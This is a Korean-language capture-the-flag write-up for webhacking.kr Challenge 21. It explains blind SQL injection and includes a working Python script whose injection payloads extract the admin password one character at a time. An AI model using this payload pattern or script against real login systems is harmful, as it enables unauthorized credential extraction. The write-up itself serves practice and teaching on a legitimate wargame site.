https://webhacking.kr/challenge/bonus-1/
Challenge 21
webhacking.kr
[문제]

[풀이]
로그인 페이지가 주어지고
제목에는 BLIND SQL INJECTION이라 적혀있다.
처음에는 브루트포스로 풀까라는 생각을 했지만.
길이도 모르고 무슨 문자가 들어가는지도 모르기때문에
어마어마한 시간이 소비될 것 같아 방법을 바꿨다.
이 문제는 BLIND SQL INJECTION 공격을 이용해서 푸는 문제이다.
BLIND SQL INJECTION을 간략히 설명하자면
공격한 결과가 참인지 거짓인지 확인하여 정보를 얻어내는 공격이다.
예를 들자면
먼저 guest:guest로 로그인이 가능하다.

guest 계정의 비밀번호를 찾는다고 생각하자.

login fail이 뜬다. 이는 sql에서 id = guest and pw = a and 1 = 1
id = guest : true
pw = a : false
1 = 1 : true
이렇게 되어서 db에서 false로 응답하는 값이고

wrong password가 뜬다. 위의 경우
id = guest : true
pw = guest : true
1 = 1 : true
이지만 입력받은 패스워드는 guest' and 1 = 1# 이고 패스워드는 guest이기 때문에
php 서버에서 false를 응답하는 값이다.
BLIND SQL INJECTION은 이런식으로 참과 거짓을 확인해서 얻고자 하는 값을 얻어내는 공격이다.
이번 문제에서 pw를 찾기 위해서
각 자리의 문자가 맞는 문자인지 확인하고
맞는 문자를 조합해서 pw를 구할 것이다.
import requests
url = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&'
cookie = {"PHPSESSID": "PHPSESSID 값"}
password = ""
for i in range(36):
count = 127
while (count > 0):
parameter = "pw=%27+or+id=%27admin%27+and+ascii(substr(pw,{},1))={}%23".format(i + 1, count)
res = requests.get(url + parameter, cookies=cookie)
if "wrong password" not in res.text:
count -= 1
else:
password += chr(count)
break
print(password)
코드를 해석하면 urlencode 된 pw=' or id='admin' and ascii(substr(pw,{문자열의 자리},1))={아스키 코드}#
문자열의 첫번째 자리부터 36번째 자리까지 아스키코드를 하나씩 모두 넣어보고 wrong password가 뜬다면
password 변수에 그 값을 문자로 변환하고 하나씩 넣어 저장하는 코드이다.


pw를 알아내고 제출하면 문제가 풀린다.